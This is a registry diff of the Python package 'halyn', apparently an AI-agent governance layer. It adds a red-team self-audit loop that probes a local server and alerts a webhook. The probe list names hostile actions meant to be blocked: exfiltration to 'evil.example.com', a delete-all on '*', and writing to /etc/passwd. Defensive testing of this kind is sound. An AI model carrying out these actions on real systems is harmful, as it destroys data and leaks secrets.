halyn 2.2.2__tar.gz → 2.2.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. {halyn-2.2.2/src/halyn.egg-info → halyn-2.2.4}/PKG-INFO +1 -1
  2. {halyn-2.2.2 → halyn-2.2.4}/pyproject.toml +1 -1
  3. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/__init__.py +1 -1
  4. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/cli.py +15 -0
  5. halyn-2.2.4/src/halyn/redteam.py +186 -0
  6. {halyn-2.2.2 → halyn-2.2.4/src/halyn.egg-info}/PKG-INFO +1 -1
  7. {halyn-2.2.2 → halyn-2.2.4}/src/halyn.egg-info/SOURCES.txt +1 -0
  8. {halyn-2.2.2 → halyn-2.2.4}/LICENSE +0 -0
  9. {halyn-2.2.2 → halyn-2.2.4}/README.md +0 -0
  10. {halyn-2.2.2 → halyn-2.2.4}/setup.cfg +0 -0
  11. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/__main__.py +0 -0
  12. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/_nrp/__init__.py +0 -0
  13. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/_nrp/driver.py +0 -0
  14. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/_nrp/events.py +0 -0
  15. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/_nrp/identity.py +0 -0
  16. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/_nrp/manifest.py +0 -0
  17. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/audit.py +0 -0
  18. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/auth.py +0 -0
  19. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/autonomy.py +0 -0
  20. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/config.py +0 -0
  21. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/consent.py +0 -0
  22. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/control_plane.py +0 -0
  23. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/dashboard.py +0 -0
  24. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/discovery.py +0 -0
  25. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/__init__.py +0 -0
  26. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/browser.py +0 -0
  27. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/dds.py +0 -0
  28. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/docker.py +0 -0
  29. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/http_auto.py +0 -0
  30. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/mqtt.py +0 -0
  31. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/opcua.py +0 -0
  32. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/ros2.py +0 -0
  33. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/serial.py +0 -0
  34. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/socket_raw.py +0 -0
  35. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/ssh.py +0 -0
  36. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/unitree.py +0 -0
  37. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/drivers/websocket.py +0 -0
  38. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/engine.py +0 -0
  39. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/integrations/__init__.py +0 -0
  40. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/intent.py +0 -0
  41. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/llm.py +0 -0
  42. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/mcp.py +0 -0
  43. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/mcp_serve.py +0 -0
  44. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/memory/__init__.py +0 -0
  45. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/memory/store.py +0 -0
  46. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/nrp_bridge.py +0 -0
  47. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/py.typed +0 -0
  48. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/sanitizer.py +0 -0
  49. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/security/__init__.py +0 -0
  50. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/security/audit_guard.py +0 -0
  51. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/security/ebpf_monitor.py +0 -0
  52. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/security/fs_watch.py +0 -0
  53. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/security/process_guard.py +0 -0
  54. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/security/proxy.py +0 -0
  55. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/server.py +0 -0
  56. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/shield.py +0 -0
  57. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/types.py +0 -0
  58. {halyn-2.2.2 → halyn-2.2.4}/src/halyn/watchdog.py +0 -0
  59. {halyn-2.2.2 → halyn-2.2.4}/src/halyn.egg-info/dependency_links.txt +0 -0
  60. {halyn-2.2.2 → halyn-2.2.4}/src/halyn.egg-info/entry_points.txt +0 -0
  61. {halyn-2.2.2 → halyn-2.2.4}/src/halyn.egg-info/requires.txt +0 -0
  62. {halyn-2.2.2 → halyn-2.2.4}/src/halyn.egg-info/top_level.txt +0 -0
  63. {halyn-2.2.2 → halyn-2.2.4}/tests/test_halyn.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: halyn
3
- Version: 2.2.2
3
+ Version: 2.2.4
4
4
  Summary: Halyn — The governance layer for AI agents. Every action intercepted. Every decision auditable.
5
5
  Author-email: Elmadani SALKA <contact@halyn.dev>
6
6
  License-Expression: BUSL-1.1
@@ -1,6 +1,6 @@
1
1
  [project]
2
2
  name = "halyn"
3
- version = "2.2.2"
3
+ version = "2.2.4"
4
4
  description = "Halyn — The governance layer for AI agents. Every action intercepted. Every decision auditable."
5
5
  requires-python = ">=3.10"
6
6
  license = "BUSL-1.1"
@@ -9,7 +9,7 @@ Every action intercepted. Every decision auditable.
9
9
  The AI cannot bypass it.
10
10
  """
11
11
 
12
- __version__ = "2.2.2"
12
+ __version__ = "2.2.4"
13
13
  __author__ = "Elmadani SALKA"
14
14
  __license__ = "BUSL-1.1"
15
15
  __email__ = "contact@halyn.dev"
@@ -51,6 +51,13 @@ def main() -> None:
51
51
  # emergency-stop
52
52
  sub.add_parser("emergency-stop", help="STOP ALL NODES IMMEDIATELY")
53
53
 
54
+ # redteam
55
+ p_red = sub.add_parser("redteam", help="Run 24/7 red team audit loop")
56
+ p_red.add_argument("--url", default="http://localhost:7420")
57
+ p_red.add_argument("--interval", type=float, default=30.0)
58
+ p_red.add_argument("--webhook", default="")
59
+ p_red.add_argument("--verbose", action="store_true")
60
+
54
61
  # version
55
62
  sub.add_parser("version", help="Show version")
56
63
 
@@ -66,6 +73,14 @@ def main() -> None:
66
73
  _cmd_test()
67
74
  elif args.command == "emergency-stop":
68
75
  _cmd_emergency_stop(args)
76
+ elif args.command == "redteam":
77
+ from .redteam import run as redteam_run
78
+ redteam_run(
79
+ url=args.url,
80
+ interval=args.interval,
81
+ webhook=args.webhook or None,
82
+ verbose=args.verbose,
83
+ )
69
84
  elif args.command == "version":
70
85
  from . import __version__
71
86
  print(f"Halyn v{__version__}")
@@ -0,0 +1,186 @@
1
+ # Copyright (c) 2026 Elmadani SALKA
2
+ # Licensed under BUSL-1.1. See LICENSE file.
3
+
4
+ from __future__ import annotations
5
+ import asyncio, logging, signal, sys, time
6
+ from dataclasses import dataclass, field
7
+ from typing import Any
8
+
9
+ log = logging.getLogger('halyn.redteam')
10
+
11
+ PROBES = [
12
+ {'name': 'probe.noop', 'tool': 'halyn.probe.noop',
13
+ 'args': {'echo': 'ping'}, 'expect': 'any', 'intent': 'redteam.noop'},
14
+ {'name': 'probe.delete', 'tool': 'halyn.probe.delete_all',
15
+ 'args': {'target': '*'}, 'expect': 'blocked', 'intent': 'redteam.dangerous'},
16
+ {'name': 'probe.exfil', 'tool': 'halyn.probe.exfil',
17
+ 'args': {'destination': 'http://evil.example.com'}, 'expect': 'blocked', 'intent': 'redteam.exfil'},
18
+ {'name': 'probe.fs_write', 'tool': 'halyn.probe.write_file',
19
+ 'args': {'path': '/etc/passwd', 'content': 'pwned'}, 'expect': 'blocked', 'intent': 'redteam.fs'},
20
+ ]
21
+
22
+
23
+ @dataclass
24
+ class ProbeResult:
25
+ name: str; ok: bool; expected: bool; status: str; duration_ms: float; error: str = ''
26
+
27
+
28
+ @dataclass
29
+ class LoopStats:
30
+ cycles: int = 0; probes_sent: int = 0; probes_expected: int = 0
31
+ chain_checks: int = 0; chain_breaks: int = 0; alerts_sent: int = 0
32
+ started_at: float = field(default_factory=time.time)
33
+ def uptime_seconds(self): return time.time() - self.started_at
34
+
35
+
36
+ async def _get(session, url):
37
+ import aiohttp
38
+ async with session.get(url, timeout=aiohttp.ClientTimeout(total=5)) as r:
39
+ return await r.json()
40
+
41
+
42
+ async def _post(session, url, body):
43
+ import aiohttp
44
+ async with session.post(url, json=body, timeout=aiohttp.ClientTimeout(total=5)) as r:
45
+ return await r.json()
46
+
47
+
48
+ async def run_probe(session, base_url, probe):
49
+ t0 = time.perf_counter()
50
+ try:
51
+ resp = await _post(session, base_url + '/execute', {
52
+ 'tool': probe['tool'], 'args': probe['args'],
53
+ 'user_id': 'halyn.redteam', 'intent': probe['intent'],
54
+ })
55
+ ms = (time.perf_counter() - t0) * 1000
56
+ result_ok = resp.get('ok', False)
57
+ status = resp.get('status', 'unknown')
58
+ expected = (not result_ok) if probe['expect'] == 'blocked' else True
59
+ return ProbeResult(probe['name'], True, expected, status, ms)
60
+ except asyncio.TimeoutError:
61
+ return ProbeResult(probe['name'], False, False, 'timeout',
62
+ (time.perf_counter() - t0) * 1000, 'timeout')
63
+ except Exception as e:
64
+ return ProbeResult(probe['name'], False, False, 'error',
65
+ (time.perf_counter() - t0) * 1000, str(e)[:200])
66
+
67
+
68
+ async def check_chain(session, base_url):
69
+ try:
70
+ r = await _get(session, base_url + '/audit/verify')
71
+ return r.get('valid', False), r.get('entries_checked', 0), r.get('message', '')
72
+ except Exception as e:
73
+ return False, 0, 'unreachable: ' + str(e)
74
+
75
+
76
+ async def send_alert(session, webhook, msg, stats):
77
+ log.critical('ALERT: %s', msg)
78
+ stats.alerts_sent += 1
79
+ if not webhook:
80
+ return
81
+ try:
82
+ import aiohttp
83
+ text = (':rotating_light: *Halyn Alert*\n' + msg +
84
+ '\nCycle ' + str(stats.cycles) +
85
+ ' | Uptime ' + str(int(stats.uptime_seconds())) + 's' +
86
+ ' | Chain breaks: ' + str(stats.chain_breaks))
87
+ payload = {'text': text}
88
+ async with session.post(webhook, json=payload,
89
+ timeout=aiohttp.ClientTimeout(total=5)) as r:
90
+ log.info('alert.webhook status=%d', r.status)
91
+ except Exception as e:
92
+ log.error('alert.webhook failed: %s', e)
93
+
94
+
95
+ async def redteam_loop(base_url, interval, webhook, verbose):
96
+ import aiohttp
97
+ stats = LoopStats()
98
+ prev_tip = None
99
+ print('')
100
+ print(' Halyn Red Team')
101
+ print(' Target: ' + base_url)
102
+ print(' Interval: ' + str(interval) + 's | Probes: ' + str(len(PROBES))
103
+ + ' | Webhook: ' + ('yes' if webhook else 'no'))
104
+ print(' Ctrl+C to stop')
105
+ print('')
106
+ print(' CYC TIME PROBES CHAIN MS')
107
+ print(' ' + '-' * 58)
108
+ async with aiohttp.ClientSession() as session:
109
+ while True:
110
+ t0 = time.time()
111
+ stats.cycles += 1
112
+ try:
113
+ h = await _get(session, base_url + '/health')
114
+ except Exception as e:
115
+ await send_alert(session, webhook, 'Halyn unreachable: ' + str(e), stats)
116
+ await asyncio.sleep(interval)
117
+ continue
118
+ if not h.get('running', False):
119
+ await send_alert(session, webhook, 'running=false', stats)
120
+ results = []
121
+ for probe in PROBES:
122
+ r = await run_probe(session, base_url, probe)
123
+ results.append(r)
124
+ stats.probes_sent += 1
125
+ if r.expected:
126
+ stats.probes_expected += 1
127
+ else:
128
+ await send_alert(session, webhook,
129
+ 'Probe ' + r.name + ' unexpected: status=' + r.status
130
+ + ' expected=' + probe['expect'] + ' error=' + r.error,
131
+ stats)
132
+ if verbose:
133
+ log.info(' %s %s -> %s (%.0fms)',
134
+ 'OK' if r.expected else 'FAIL',
135
+ r.name, r.status, r.duration_ms)
136
+ valid, count, msg = await check_chain(session, base_url)
137
+ stats.chain_checks += 1
138
+ if not valid:
139
+ stats.chain_breaks += 1
140
+ await send_alert(session, webhook,
141
+ 'CHAIN BROKEN cycle=' + str(stats.cycles)
142
+ + ': ' + msg + ' entries=' + str(count),
143
+ stats)
144
+ try:
145
+ ar = await _get(session, base_url + '/audit?limit=1')
146
+ tip = ar.get('chain_tip', '')
147
+ if prev_tip and tip == 'GENESIS' and stats.cycles > 1:
148
+ await send_alert(session, webhook,
149
+ 'Chain tip reset to GENESIS at cycle ' + str(stats.cycles)
150
+ + ' - log may have been wiped', stats)
151
+ prev_tip = tip
152
+ except Exception:
153
+ pass
154
+ n_ok = sum(1 for r in results if r.expected)
155
+ chain_str = ('OK (' + str(count) + ' entries)'
156
+ if valid else 'BROKEN (' + str(count) + ' entries)')
157
+ ms = (time.time() - t0) * 1000
158
+ print(' ' + str(stats.cycles).rjust(4)
159
+ + ' ' + time.strftime('%H:%M:%S')
160
+ + ' ' + str(n_ok) + '/' + str(len(results)) + ' probes'
161
+ + ' ' + chain_str.ljust(26)
162
+ + ' ' + str(int(ms)).rjust(5) + 'ms')
163
+ await asyncio.sleep(max(0.0, interval - (time.time() - t0)))
164
+
165
+
166
+ def run(url='http://localhost:7420', interval=30.0, webhook=None, verbose=False):
167
+ try:
168
+ import aiohttp # noqa
169
+ except ImportError:
170
+ print('Error: aiohttp required -- pip install halyn')
171
+ sys.exit(1)
172
+ logging.basicConfig(
173
+ level=logging.INFO,
174
+ format='%(asctime)s %(name)s %(levelname)s %(message)s',
175
+ datefmt='%H:%M:%S',
176
+ )
177
+ loop = asyncio.new_event_loop()
178
+ def _stop(sig, frame):
179
+ print('\n Stopping...')
180
+ loop.stop()
181
+ signal.signal(signal.SIGINT, _stop)
182
+ signal.signal(signal.SIGTERM, _stop)
183
+ try:
184
+ loop.run_until_complete(redteam_loop(url, interval, webhook, verbose))
185
+ finally:
186
+ loop.close()
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: halyn
3
- Version: 2.2.2
3
+ Version: 2.2.4
4
4
  Summary: Halyn — The governance layer for AI agents. Every action intercepted. Every decision auditable.
5
5
  Author-email: Elmadani SALKA <contact@halyn.dev>
6
6
  License-Expression: BUSL-1.1
@@ -19,6 +19,7 @@ src/halyn/mcp.py
19
19
  src/halyn/mcp_serve.py
20
20
  src/halyn/nrp_bridge.py
21
21
  src/halyn/py.typed
22
+ src/halyn/redteam.py
22
23
  src/halyn/sanitizer.py
23
24
  src/halyn/server.py
24
25
  src/halyn/shield.py
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes